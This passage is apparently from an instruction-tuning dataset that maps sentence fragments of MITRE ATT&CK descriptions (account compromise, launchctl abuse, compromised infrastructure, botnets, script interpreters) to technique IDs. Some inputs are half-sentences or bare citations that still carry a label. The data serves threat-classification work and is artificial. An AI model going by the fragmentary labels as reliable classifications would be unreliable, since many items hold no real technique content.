appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Compromising cloud accounts may allow adversaries to develop sophisticated capabilities without managing their own servers.(Citation: Awake Security C2 Cloud)\n\nA variety of methods exist for compromising cloud accounts, such as gathering credentials via [Phishing for Information](https://attack.mitre.org/techniques/T1598), purchasing credentials from third-party sites, conducting [Password Spraying](https://attack.mitre.org/techniques/T1110/003) attacks, or attempting to [Steal Application Access Token](https://attack.mitre.org/techniques/T1528)s.(Citation: ### Response: T1586.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "MSTIC Nobelium Oct 2021)", "output": "T1586.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: MSTIC Nobelium Oct 2021) ### Response: T1586.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Prior to compromising cloud accounts, adversaries may conduct Reconnaissance to inform decisions about which accounts to compromise to further their operation.", "output": "T1586.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Prior to compromising cloud accounts, adversaries may conduct Reconnaissance to inform decisions about which accounts to compromise to further their operation. ### Response: T1586.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "In some cases, adversaries may target privileged service provider accounts with the intent of leveraging a [Trusted Relationship](https://attack.mitre.org/techniques/T1199) between service providers and their customers.(Citation: MSTIC Nobelium Oct 2021)", "output": "T1586.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: In some cases, adversaries may target privileged service provider accounts with the intent of leveraging a [Trusted Relationship](https://attack.mitre.org/techniques/T1199) between service providers and their customers.(Citation: MSTIC Nobelium Oct 2021) ### Response: T1586.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may compromise email accounts that can be used during targeting.", "output": "T1586.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may compromise email accounts that can be used during targeting. ### Response: T1586.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries can use compromised email accounts to further their operations, such as leveraging them to conduct [Phishing for Information](https://attack.mitre.org/techniques/T1598), [Phishing](https://attack.mitre.org/techniques/T1566), or large-scale spam email campaigns.", "output": "T1586.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries can use compromised email accounts to further their operations, such as leveraging them to conduct [Phishing for Information](https://attack.mitre.org/techniques/T1598), [Phishing](https://attack.mitre.org/techniques/T1566), or large-scale spam email campaigns. ### Response: T1586.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Utilizing an existing persona with a compromised email account may engender a level of trust in a potential victim if they have a relationship with, or knowledge of, the compromised persona.", "output": "T1586.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Utilizing an existing persona with a compromised email account may engender a level of trust in a potential victim if they have a relationship with, or knowledge of, the compromised persona. ### Response: T1586.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Compromised email accounts can also be used in the acquisition of infrastructure (ex: [Domains](https://attack.mitre.org/techniques/T1583/001)).", "output": "T1586.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Compromised email accounts can also be used in the acquisition of infrastructure (ex: [Domains](https://attack.mitre.org/techniques/T1583/001)). ### Response: T1586.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "A variety of methods exist for compromising email accounts, such as gathering credentials via [Phishing for Information](https://attack.mitre.org/techniques/T1598), purchasing credentials from third-party sites, brute forcing credentials (ex: password reuse from breach credential dumps), or paying employees, suppliers or business partners for access to credentials.(Citation:", "output": "T1586.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: A variety of methods exist for compromising email accounts, such as gathering credentials via [Phishing for Information](https://attack.mitre.org/techniques/T1598), purchasing credentials from third-party sites, brute forcing credentials (ex: password reuse from breach credential dumps), or paying employees, suppliers or business partners for access to credentials.(Citation: ### Response: T1586.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "AnonHBGary)(Citation: Microsoft DEV-0537)", "output": "T1586.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: AnonHBGary)(Citation: Microsoft DEV-0537) ### Response: T1586.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Prior to compromising email accounts, adversaries may conduct Reconnaissance to inform decisions about which accounts to compromise to further their operation.", "output": "T1586.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Prior to compromising email accounts, adversaries may conduct Reconnaissance to inform decisions about which accounts to compromise to further their operation. ### Response: T1586.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may target compromising well-known email accounts or domains from which malicious spam or [Phishing](https://attack.mitre.org/techniques/T1566) emails may evade reputation-based email filtering rules.", "output": "T1586.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may target compromising well-known email accounts or domains from which malicious spam or [Phishing](https://attack.mitre.org/techniques/T1566) emails may evade reputation-based email filtering rules. ### Response: T1586.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries can use a compromised email account to hijack existing email threads with targets of interest.", "output": "T1586.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries can use a compromised email account to hijack existing email threads with targets of interest. ### Response: T1586.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may compromise social media accounts that can be used during targeting.", "output": "T1586.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may compromise social media accounts that can be used during targeting. ### Response: T1586.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "For operations incorporating social engineering, the utilization of an online persona may be important.", "output": "T1586.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: For operations incorporating social engineering, the utilization of an online persona may be important. ### Response: T1586.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Rather than creating and cultivating social media profiles (i.e. [Social Media Accounts](https://attack.mitre.org/techniques/T1585/001)), adversaries may compromise existing social media accounts.", "output": "T1586.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Rather than creating and cultivating social media profiles (i.e. [Social Media Accounts](https://attack.mitre.org/techniques/T1585/001)), adversaries may compromise existing social media accounts. ### Response: T1586.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Utilizing an existing persona may engender a level of trust in a potential victim if they have a relationship, or knowledge of, the compromised persona.", "output": "T1586.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Utilizing an existing persona may engender a level of trust in a potential victim if they have a relationship, or knowledge of, the compromised persona. ### Response: T1586.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "A variety of methods exist for compromising social media accounts, such as gathering credentials via [Phishing for Information](https://attack.mitre.org/techniques/T1598), purchasing credentials from third-party sites, or by brute forcing credentials (ex: password reuse from breach credential dumps).(Citation: AnonHBGary)", "output": "T1586.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: A variety of methods exist for compromising social media accounts, such as gathering credentials via [Phishing for Information](https://attack.mitre.org/techniques/T1598), purchasing credentials from third-party sites, or by brute forcing credentials (ex: password reuse from breach credential dumps).(Citation: AnonHBGary) ### Response: T1586.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Prior to compromising social media accounts, adversaries may conduct Reconnaissance to inform decisions about which accounts to compromise to further their operation.", "output": "T1586.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Prior to compromising social media accounts, adversaries may conduct Reconnaissance to inform decisions about which accounts to compromise to further their operation. ### Response: T1586.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Personas may exist on a single site or across multiple sites (ex: Facebook, LinkedIn, Twitter, etc.).", "output": "T1586.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Personas may exist on a single site or across multiple sites (ex: Facebook, LinkedIn, Twitter, etc.). ### Response: T1586.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Compromised social media accounts may require additional development, this could include filling out or modifying profile information, further developing social networks, or incorporating photos.", "output": "T1586.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Compromised social media accounts may require additional development, this could include filling out or modifying profile information, further developing social networks, or incorporating photos. ### Response: T1586.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries can use a compromised social media profile to create new, or hijack existing, connections to targets of interest.", "output": "T1586.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries can use a compromised social media profile to create new, or hijack existing, connections to targets of interest. ### Response: T1586.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "These connections may be direct or may include trying to connect through others.(Citation: NEWSCASTER2014)(Citation: BlackHatRobinSage)", "output": "T1586.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: These connections may be direct or may include trying to connect through others.(Citation: NEWSCASTER2014)(Citation: BlackHatRobinSage) ### Response: T1586.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Compromised profiles may be leveraged during other phases of the adversary lifecycle, such as during Initial Access (ex: [Spearphishing via Service](https://attack.mitre.org/techniques/T1566/003)).", "output": "T1586.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Compromised profiles may be leveraged during other phases of the adversary lifecycle, such as during Initial Access (ex: [Spearphishing via Service](https://attack.mitre.org/techniques/T1566/003)). ### Response: T1586.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may compromise accounts with services that can be used during targeting.", "output": "T1586", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may compromise accounts with services that can be used during targeting. ### Response: T1586."}{"instruction": "List the MITRE techniques contained in the text.", "input": "For operations incorporating social engineering, the utilization of an online persona may be important.", "output": "T1586", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: For operations incorporating social engineering, the utilization of an online persona may be important. ### Response: T1586."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Rather than creating and cultivating accounts (i.e. [Establish Accounts](https://attack.mitre.org/techniques/T1585)), adversaries may compromise existing accounts.", "output": "T1586", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Rather than creating and cultivating accounts (i.e. [Establish Accounts](https://attack.mitre.org/techniques/T1585)), adversaries may compromise existing accounts. ### Response: T1586."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Utilizing an existing persona may engender a level of trust in a potential victim if they have a relationship, or knowledge of, the compromised persona.", "output": "T1586", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Utilizing an existing persona may engender a level of trust in a potential victim if they have a relationship, or knowledge of, the compromised persona. ### Response: T1586."}{"instruction": "List the MITRE techniques contained in the text.", "input": "A variety of methods exist for compromising accounts, such as gathering credentials via [Phishing for Information](https://attack.mitre.org/techniques/T1598), purchasing credentials from third-party sites, brute forcing credentials (ex: password reuse from breach credential dumps), or paying employees, suppliers or business partners for access to credentials.(Citation:", "output": "T1586", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: A variety of methods exist for compromising accounts, such as gathering credentials via [Phishing for Information](https://attack.mitre.org/techniques/T1598), purchasing credentials from third-party sites, brute forcing credentials (ex: password reuse from breach credential dumps), or paying employees, suppliers or business partners for access to credentials.(Citation: ### Response: T1586."}{"instruction": "List the MITRE techniques contained in the text.", "input": "AnonHBGary)(Citation: Microsoft DEV-0537)", "output": "T1586", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: AnonHBGary)(Citation: Microsoft DEV-0537) ### Response: T1586."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Prior to compromising accounts, adversaries may conduct Reconnaissance to inform decisions about which accounts to compromise to further their operation.", "output": "T1586", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Prior to compromising accounts, adversaries may conduct Reconnaissance to inform decisions about which accounts to compromise to further their operation. ### Response: T1586."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Personas may exist on a single site or across multiple sites (ex: Facebook, LinkedIn, Twitter, Google, etc.).", "output": "T1586", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Personas may exist on a single site or across multiple sites (ex: Facebook, LinkedIn, Twitter, Google, etc.). ### Response: T1586."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Compromised accounts may require additional development, this could include filling out or modifying profile information, further developing social networks, or incorporating photos.", "output": "T1586", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Compromised accounts may require additional development, this could include filling out or modifying profile information, further developing social networks, or incorporating photos. ### Response: T1586."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may directly leverage compromised email accounts for [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Phishing](https://attack.mitre.org/techniques/T1566).", "output": "T1586", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may directly leverage compromised email accounts for [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Phishing](https://attack.mitre.org/techniques/T1566). ### Response: T1586."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may abuse system services or daemons to execute commands or programs.", "output": "T1569", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may abuse system services or daemons to execute commands or programs. ### Response: T1569."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries can execute malicious content by interacting with or creating services either locally or remotely.", "output": "T1569", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries can execute malicious content by interacting with or creating services either locally or remotely. ### Response: T1569."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Many services are set to run at boot, which can aid in achieving persistence ([Create or Modify System Process](https://attack.mitre.org/techniques/T1543)), but adversaries can also abuse services for one-time or temporary execution.", "output": "T1569", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Many services are set to run at boot, which can aid in achieving persistence ([Create or Modify System Process](https://attack.mitre.org/techniques/T1543)), but adversaries can also abuse services for one-time or temporary execution. ### Response: T1569."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may abuse launchctl to execute commands or programs.", "output": "T1569.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may abuse launchctl to execute commands or programs. ### Response: T1569.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Launchctl interfaces with launchd, the service management framework for macOS.", "output": "T1569.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Launchctl interfaces with launchd, the service management framework for macOS. ### Response: T1569.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Launchctl supports taking subcommands on the command-line, interactively, or even redirected from standard input.(Citation: Launchctl Man)", "output": "T1569.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Launchctl supports taking subcommands on the command-line, interactively, or even redirected from standard input.(Citation: Launchctl Man) ### Response: T1569.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries use launchctl to execute commands and programs as [Launch Agent](https://attack.mitre.org/techniques/T1543/001)s or [Launch Daemon](https://attack.mitre.org/techniques/T1543/004)s.", "output": "T1569.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries use launchctl to execute commands and programs as [Launch Agent](https://attack.mitre.org/techniques/T1543/001)s or [Launch Daemon](https://attack.mitre.org/techniques/T1543/004)s. ### Response: T1569.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Common subcommands include: <code>launchctl load</code>,<code>launchctl unload</code>, and <code>launchctl start</code>.", "output": "T1569.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Common subcommands include: <code>launchctl load</code>,<code>launchctl unload</code>, and <code>launchctl start</code>. ### Response: T1569.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries can use scripts or manually run the commands <code>launchctl load -w", "output": "T1569.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries can use scripts or manually run the commands <code>launchctl load -w ### Response: T1569.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "\"%s/Library/LaunchAgents/%s\"</code> or <code>/bin/launchctl load</code> to execute [Launch Agent](https://attack.mitre.org/techniques/T1543/001)s or [Launch Daemon](https://attack.mitre.org/techniques/T1543/004)s.(Citation: Sofacy Komplex Trojan)(Citation: 20 macOS Common Tools and Techniques)", "output": "T1569.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: \"%s/Library/LaunchAgents/%s\"</code> or <code>/bin/launchctl load</code> to execute [Launch Agent](https://attack.mitre.org/techniques/T1543/001)s or [Launch Daemon](https://attack.mitre.org/techniques/T1543/004)s.(Citation: Sofacy Komplex Trojan)(Citation: 20 macOS Common Tools and Techniques) ### Response: T1569.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may compromise third-party infrastructure that can be used during targeting.", "output": "T1584", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may compromise third-party infrastructure that can be used during targeting. ### Response: T1584."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Infrastructure solutions include physical or cloud servers, domains, and third-party web and DNS services.", "output": "T1584", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Infrastructure solutions include physical or cloud servers, domains, and third-party web and DNS services. ### Response: T1584."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Instead of buying, leasing, or renting infrastructure an adversary may compromise infrastructure and use it during other phases of the adversary lifecycle.(Citation:", "output": "T1584", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Instead of buying, leasing, or renting infrastructure an adversary may compromise infrastructure and use it during other phases of the adversary lifecycle.(Citation: ### Response: T1584."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Mandiant APT1)(Citation: ICANNDomainNameHijacking)(Citation: Talos DNSpionage Nov 2018)(Citation:", "output": "T1584", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Mandiant APT1)(Citation: ICANNDomainNameHijacking)(Citation: Talos DNSpionage Nov 2018)(Citation: ### Response: T1584."}{"instruction": "List the MITRE techniques contained in the text.", "input": "FireEye EPS Awakens Part 2) Additionally, adversaries may compromise numerous machines to form a botnet they can leverage.", "output": "T1584", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: FireEye EPS Awakens Part 2) Additionally, adversaries may compromise numerous machines to form a botnet they can leverage. ### Response: T1584."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Use of compromised infrastructure allows adversaries to stage, launch, and execute operations.", "output": "T1584", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Use of compromised infrastructure allows adversaries to stage, launch, and execute operations. ### Response: T1584."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Compromised infrastructure can help adversary operations blend in with traffic that is seen as normal, such as contact with high reputation or trusted sites.", "output": "T1584", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Compromised infrastructure can help adversary operations blend in with traffic that is seen as normal, such as contact with high reputation or trusted sites. ### Response: T1584."}{"instruction": "List the MITRE techniques contained in the text.", "input": "For example, adversaries may leverage compromised infrastructure (potentially also in conjunction with [Digital Certificates](https://attack.mitre.org/techniques/T1588/004)) to further blend in and support staged information gathering and/or", "output": "T1584", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: For example, adversaries may leverage compromised infrastructure (potentially also in conjunction with [Digital Certificates](https://attack.mitre.org/techniques/T1588/004)) to further blend in and support staged information gathering and/or ### Response: T1584."}{"instruction": "List the MITRE techniques contained in the text.", "input": "[Phishing](https://attack.mitre.org/techniques/T1566)", "output": "T1584", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: [Phishing](https://attack.mitre.org/techniques/T1566) ### Response: T1584."}{"instruction": "List the MITRE techniques contained in the text.", "input": "campaigns.(Citation: FireEye DNS Hijack 2019)", "output": "T1584", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: campaigns.(Citation: FireEye DNS Hijack 2019) ### Response: T1584."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Additionally, adversaries may also compromise infrastructure to support [Proxy](https://attack.mitre.org/techniques/T1090) and/or proxyware services.(Citation: amnesty_nso_pegasus)(Citation: Sysdig Proxyjacking)", "output": "T1584", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Additionally, adversaries may also compromise infrastructure to support [Proxy](https://attack.mitre.org/techniques/T1090) and/or proxyware services.(Citation: amnesty_nso_pegasus)(Citation: Sysdig Proxyjacking) ### Response: T1584."}{"instruction": "List the MITRE techniques contained in the text.", "input": "By using compromised infrastructure, adversaries may make it difficult to tie their actions back to them.", "output": "T1584", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: By using compromised infrastructure, adversaries may make it difficult to tie their actions back to them. ### Response: T1584."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Prior to targeting, adversaries may compromise the infrastructure of other adversaries.(Citation: NSA NCSC Turla OilRig)", "output": "T1584", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Prior to targeting, adversaries may compromise the infrastructure of other adversaries.(Citation: NSA NCSC Turla OilRig) ### Response: T1584."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may compromise numerous third-party systems to form a botnet\u00a0that can be used during targeting.", "output": "T1584.005", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may compromise numerous third-party systems to form a botnet\u00a0that can be used during targeting. ### Response: T1584.005."}{"instruction": "List the MITRE techniques contained in the text.", "input": "A botnet is a network of compromised systems that can be instructed to perform coordinated tasks.(Citation: Norton Botnet) Instead of purchasing/renting a botnet from a booter/stresser service, adversaries may build their own botnet by compromising numerous third-party systems.(Citation: Imperva DDoS for Hire) Adversaries may also conduct a takeover of an existing botnet, such as redirecting bots to adversary-controlled C2 servers.(Citation: Dell Dridex Oct 2015) With a botnet at their disposal, adversaries may perform follow-on activity such as large-scale [Phishing](https://attack.mitre.org/techniques/T1566) or Distributed Denial of Service (DDoS).", "output": "T1584.005", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: A botnet is a network of compromised systems that can be instructed to perform coordinated tasks.(Citation: Norton Botnet) Instead of purchasing/renting a botnet from a booter/stresser service, adversaries may build their own botnet by compromising numerous third-party systems.(Citation: Imperva DDoS for Hire) Adversaries may also conduct a takeover of an existing botnet, such as redirecting bots to adversary-controlled C2 servers.(Citation: Dell Dridex Oct 2015) With a botnet at their disposal, adversaries may perform follow-on activity such as large-scale [Phishing](https://attack.mitre.org/techniques/T1566) or Distributed Denial of Service (DDoS). ### Response: T1584.005."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries.", "output": "T1059", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. ### Response: T1059."}{"instruction": "List the MITRE techniques contained in the text.", "input": "These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms.", "output": "T1059", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. ### Response: T1059."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of [Unix Shell](https://attack.mitre.org/techniques/T1059/004) while Windows installations include the [Windows Command Shell](https://attack.mitre.org/techniques/T1059/003) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).", "output": "T1059", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of [Unix Shell](https://attack.mitre.org/techniques/T1059/004) while Windows installations include the [Windows Command Shell](https://attack.mitre.org/techniques/T1059/003) and [PowerShell](https://attack.mitre.org/techniques/T1059/001). ### Response: T1059."}{"instruction": "List the MITRE techniques contained in the text.", "input": "There are also cross-platform interpreters such as [Python](https://attack.mitre.org/techniques/T1059/006), as well as those commonly associated with client applications such as [JavaScript](https://attack.mitre.org/techniques/T1059/007) and [Visual Basic](https://attack.mitre.org/techniques/T1059/005).", "output": "T1059", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: There are also cross-platform interpreters such as [Python](https://attack.mitre.org/techniques/T1059/006), as well as those commonly associated with client applications such as [JavaScript](https://attack.mitre.org/techniques/T1059/007) and [Visual Basic](https://attack.mitre.org/techniques/T1059/005). ### Response: T1059."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may abuse these technologies in various ways as a means of executing arbitrary commands.", "output": "T1059", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may abuse these technologies in various ways as a means of executing arbitrary commands. ### Response: T1059."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Commands and scripts can be embedded in [Initial Access](https://attack.mitre.org/tactics/TA0001) payloads delivered to victims as lure documents or as secondary payloads downloaded from an existing C2.", "output": "T1059", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Commands and scripts can be embedded in [Initial Access](https://attack.mitre.org/tactics/TA0001) payloads delivered to victims as lure documents or as secondary payloads downloaded from an existing C2. ### Response: T1059."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may also execute commands through interactive terminals/shells, as well as utilize various [Remote Services](https://attack.mitre.org/techniques/T1021) in order to achieve remote Execution.(Citation:", "output": "T1059", "text": "Below is an instruction that describes a task, paired with an input that provides 